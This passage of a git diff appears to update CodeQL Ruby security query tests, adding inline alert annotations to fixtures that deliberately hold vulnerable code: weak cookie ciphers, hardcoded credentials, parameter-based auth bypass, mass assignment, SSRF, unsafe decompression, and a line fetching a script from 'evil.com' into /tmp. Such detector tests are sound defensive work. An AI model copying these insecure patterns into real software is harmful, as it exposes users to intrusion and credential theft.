     # BAD: weak block encryption algorithm
-    config.action_dispatch.encrypted_cookie_cipher = "DES"
+    config.action_dispatch.encrypted_cookie_cipher = "DES" # $ Alert[rb/weak-cookie-configuration]
 
     # BAD: weak block encryption mode
-    config.action_dispatch.encrypted_cookie_cipher = "AES-256-ECB"
+    config.action_dispatch.encrypted_cookie_cipher = "AES-256-ECB" # $ Alert[rb/weak-cookie-configuration]
 
     # GOOD
     config.action_dispatch.use_authenticated_cookie_encryption = true
 
     # BAD: less secure block encryption mode
-    config.action_dispatch.use_authenticated_cookie_encryption = false
+    config.action_dispatch.use_authenticated_cookie_encryption = false # $ Alert[rb/weak-cookie-configuration]
 
     # GOOD
     config.action_dispatch.cookies_same_site_protection = :lax
@@ -29,9 +29,9 @@ class Application < Rails::Application
     config.action_dispatch.cookies_same_site_protection = "strict"
 
     # BAD: disabling same-site protections for sending cookies
-    config.action_dispatch.cookies_same_site_protection = :none
+    config.action_dispatch.cookies_same_site_protection = :none # $ Alert[rb/weak-cookie-configuration]
 
     # BAD: not all browsers default to `lax` if unset
-    config.action_dispatch.cookies_same_site_protection = nil
+    config.action_dispatch.cookies_same_site_protection = nil # $ Alert[rb/weak-cookie-configuration]
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref
index e65b7754872d..81afcc528c80 100644
--- a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref
@@ -1 +1,2 @@
-queries/security/cwe-798/HardcodedCredentials.ql
+query: queries/security/cwe-798/HardcodedCredentials.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb
index 57f05a25fdf0..b726300559ef 100644
--- a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb
+++ b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb
@@ -1,24 +1,24 @@
-def authenticate(uid, password, cert: nil)
+def authenticate(uid, password, cert: nil) # $ Sink
   if cert != nil then
     # comparison with hardcoded credential
-    return cert == "xwjVWdfzfRlbcgKkbSfG/xSrUeHYqxPgz9WKN3Yow1o="
+    return cert == "xwjVWdfzfRlbcgKkbSfG/xSrUeHYqxPgz9WKN3Yow1o=" # $ Alert
   end
 
   # comparison with hardcoded credential
-  uid == 123 and password == "X6BLgRWSAtAWG/GaHS+WGGW2K7zZFTAjJ54fGSudHJk="
+  uid == 123 and password == "X6BLgRWSAtAWG/GaHS+WGGW2K7zZFTAjJ54fGSudHJk=" # $ Alert
 end
 
 # call with hardcoded credential as argument
-authenticate(123, "4NQX/CqB5Ae98zFUmwj1DMpF7azshxSvb0Jo4gIFmIQ=")
+authenticate(123, "4NQX/CqB5Ae98zFUmwj1DMpF7azshxSvb0Jo4gIFmIQ=") # $ Alert
 
 # call with hardcoded credential as argument
-authenticate(456, nil, cert: "WLC17dLQ9P8YlQvqm77qplOMm5pd1q25Q2onWqu78JI=")
+authenticate(456, nil, cert: "WLC17dLQ9P8YlQvqm77qplOMm5pd1q25Q2onWqu78JI=") # $ Alert
 
 # concatenation involving literal
-authenticate(789, "pw:" + "ogH6qSYWGdbR/2WOGYa7eZ/tObL+GtqDPx6q37BTTRQ=")
+authenticate(789, "pw:" + "ogH6qSYWGdbR/2WOGYa7eZ/tObL+GtqDPx6q37BTTRQ=") # $ Alert
 
-pw_left = "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+ZXFj2qw6asRARTV2deAXFKkMTVOoaFYom1Q"
-pw_right = "4fQuzXef4f2yow8KWvIJTA=="
+pw_left = "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+ZXFj2qw6asRARTV2deAXFKkMTVOoaFYom1Q" # $ Alert
+pw_right = "4fQuzXef4f2yow8KWvIJTA==" # $ Alert
 pw = pw_left + pw_right
 authenticate(999, pw)
 
@@ -28,18 +28,18 @@ def authenticate(uid, password, cert: nil)
 
 module Passwords
   class KnownPasswords
-    def include?(passwd)
+    def include?(passwd) # $ Sink
       passwd == "foo"
     end
   end
 end
 
 # Call to object method
-Passwords::KnownPasswords.new.include?("kdW/xVhiv6y1fQQNevDpUaq+2rfPKfh+teE/45zS7bc=")
+Passwords::KnownPasswords.new.include?("kdW/xVhiv6y1fQQNevDpUaq+2rfPKfh+teE/45zS7bc=") # $ Alert
 
 # Call to unrelated method with same name (should not be flagged)
 "foobar".include?("foo")
 
-def default_cred(username = "user@test.com", password = "abcdef123456")
+def default_cred(username = "user@test.com", password = "abcdef123456") # $ Alert
   username
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref
index 9639e207d1ee..5b8e3bc44f1d 100644
--- a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref
@@ -1 +1,2 @@
-experimental/cwe-807/ConditionalBypass.ql
\ No newline at end of file
+query: experimental/cwe-807/ConditionalBypass.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb
index 1bd45f15043f..1a6dd87ab791 100644
--- a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb
+++ b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb
@@ -1,9 +1,9 @@
 class FooController < ActionController::Base
   def bad_handler1
-    check = params[:check]
+    check = params[:check] # $ Source
     name = params[:name]
 
-    if check
+    if check # $ Alert
       # BAD
       authenticate_user! name
     end
@@ -11,7 +11,7 @@ def bad_handler1
 
   def bad_handler2
     # BAD
-    login if params[:login]
+    login if params[:login] # $ Alert
     do_something_else
   end
 
@@ -22,9 +22,9 @@ def bad_handler3
   end
 
   def bad_handler4
-    p = (params[:name] == "foo")
+    p = (params[:name] == "foo") # $ Source
     # BAD
-    if p
+    if p # $ Alert
       verify!
     end
   end
diff --git a/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref b/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref
index 2b41f979bb58..06312044c512 100644
--- a/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref
@@ -1 +1,2 @@
-queries/security/cwe-912/HttpToFileAccess.ql
\ No newline at end of file
+query: queries/security/cwe-912/HttpToFileAccess.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb b/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb
index aa8ce4c46ff0..062ff36c657a 100644
--- a/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb
+++ b/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb
@@ -1,14 +1,14 @@
 require "net/http"
 
-resp = Net::HTTP.new("evil.com").get("/script").body
+resp = Net::HTTP.new("evil.com").get("/script").body # $ Source
 file = File.open("/tmp/script", "w")
-file.write(resp) # BAD
+file.write(resp) # $ Alert // BAD
 
 class ExampleController < ActionController::Base
     def example
-      script = params[:script]
+      script = params[:script] # $ Source
       file = File.open("/tmp/script", "w")
-      file.write(script) # BAD
+      file.write(script) # $ Alert // BAD
     end
 
     def example2
@@ -16,4 +16,4 @@ def example2
       file = File.open("/tmp/script", "w")
       file.write(a) # GOOD
     end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref b/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref
index 89dbc405a3ae..d60d17065b7d 100644
--- a/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref
@@ -1 +1,2 @@
-queries/security/cwe-915/MassAssignment.ql
\ No newline at end of file
+query: queries/security/cwe-915/MassAssignment.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-915/test.rb b/ruby/ql/test/query-tests/security/cwe-915/test.rb
index c72ad536ef73..d6193e272361 100644
--- a/ruby/ql/test/query-tests/security/cwe-915/test.rb
+++ b/ruby/ql/test/query-tests/security/cwe-915/test.rb
@@ -5,7 +5,7 @@ class User < ApplicationRecord
 class UserController < ActionController::Base
     def create
         # BAD: arbitrary params are permitted to be used for this assignment
-        User.new(user_params).save!
+        User.new(user_params).save! # $ Alert
     end
 
     def create2
@@ -15,42 +15,42 @@ def create2
 
     def create3
         # each BAD
-        User.build(user_params)
-        User.create(user_params)
-        User.create!(user_params)
-        User.insert(user_params)
-        User.insert!(user_params)
+        User.build(user_params) # $ Alert
+        User.create(user_params) # $ Alert
+        User.create!(user_params) # $ Alert
+        User.insert(user_params) # $ Alert
+        User.insert!(user_params) # $ Alert
         User.insert_all([user_params])
         User.insert_all!([user_params])
-        User.update(user_params)
-        User.update(7, user_params)
-        User.update!(user_params)
-        User.update!(7, user_params)
-        User.upsert(user_params)
+        User.update(user_params) # $ Alert
+        User.update(7, user_params) # $ Alert
+        User.update!(user_params) # $ Alert
+        User.update!(7, user_params) # $ Alert
+        User.upsert(user_params) # $ Alert
         User.upsert([user_params])
-        User.find_or_create_by(user_params)
-        User.find_or_create_by!(user_params)
-        User.find_or_initialize_by(user_params)
-        User.create_or_find_by(user_params)
-        User.create_or_find_by!(user_params)
-        User.create_with(user_params)
+        User.find_or_create_by(user_params) # $ Alert
+        User.find_or_create_by!(user_params) # $ Alert
+        User.find_or_initialize_by(user_params) # $ Alert
+        User.create_or_find_by(user_params) # $ Alert
+        User.create_or_find_by!(user_params) # $ Alert
+        User.create_with(user_params) # $ Alert
 
         user = User.where(name:"abc")
         user.update(user_params)
     end
 
     def user_params
-        params.require(:user).permit!
+        params.require(:user).permit! # $ Source
     end
 
     def create4
-        x = params[:user]
+        x = params[:user] # $ Source
         x.permit!
-        User.new(x) # BAD
+        User.new(x) # $ Alert // BAD
         User.new(x.permit(:name,:address)) # GOOD
-        User.new(params.permit(user: {})) # BAD
-        User.new(params.permit(user: [:name, :address, {friends:{}}])) # BAD
-        User.new(params.to_unsafe_h) # BAD
+        User.new(params.permit(user: {})) # $ Alert // BAD
+        User.new(params.permit(user: [:name, :address, {friends:{}}])) # $ Alert // BAD
+        User.new(params.to_unsafe_h) # $ Alert // BAD
         User.new(params.permit(user: [:name, :address]).to_unsafe_h) # GOOD
      end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref
index 34f3a2952f27..615ca40af22a 100644
--- a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref
@@ -1 +1,2 @@
-queries/security/cwe-918/ServerSideRequestForgery.ql
+query: queries/security/cwe-918/ServerSideRequestForgery.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb
index ff99ffe1801c..f2ff6825b7d4 100644
--- a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb
+++ b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb
@@ -7,17 +7,17 @@ def create
         user = params[:user_id]
 
         # BAD - user can control the entire URL of the request
-        users_service_domain = params[:users_service_domain]
-        response = Excon.post("#{users_service_domain}/logins", body: {user_id: user}).body
+        users_service_domain = params[:users_service_domain] # $ Source
+        response = Excon.post("#{users_service_domain}/logins", body: {user_id: user}).body # $ Alert
         token = JSON.parse(response)["token"]
 
         # BAD - user can control the entire URL for the request using Faraday library
-        conn = Faraday.new(url: params[:url])
+        conn = Faraday.new(url: params[:url]) # $ Alert
         resp = conn.post
         token = JSON.parse(resp)["token"]
 
         # BAD - user can control the entire URL for the request using Faraday::Connection library
-        conn = Faraday::Connection.new(url: params[:url])
+        conn = Faraday::Connection.new(url: params[:url]) # $ Alert
         resp = conn.post
         token = JSON.parse(resp)["token"]
 
diff --git a/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref b/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref
index feb45b822208..4d63d1ce6246 100644
--- a/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref
+++ b/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref
@@ -1 +1,2 @@
-experimental/decompression-api/DecompressionApi.ql
\ No newline at end of file
+query: experimental/decompression-api/DecompressionApi.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb b/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb
index 6c1daa144e2f..83f05073747c 100644
--- a/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb
+++ b/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb
@@ -1,8 +1,8 @@
 class TestController < ActionController::Base
     # this should get picked up
     def unsafe_zlib_unzip
-        path = params[:file]
-        Zlib::Inflate.inflate(path)
+        path = params[:file] # $ Source
+        Zlib::Inflate.inflate(path) # $ Alert
     end
 
     # this should not get picked up
@@ -12,11 +12,11 @@ def safe_zlib_unzip
 
     # this should get picked up
     def unsafe_zlib_unzip
-        Zip::File.open_buffer(params[:file])
+        Zip::File.open_buffer(params[:file]) # $ Alert
     end
 
     # this should not get picked up
     def safe_zlib_unzip
         Zip::File.open_buffer(file)
     end
-end
\ No newline at end of file
+end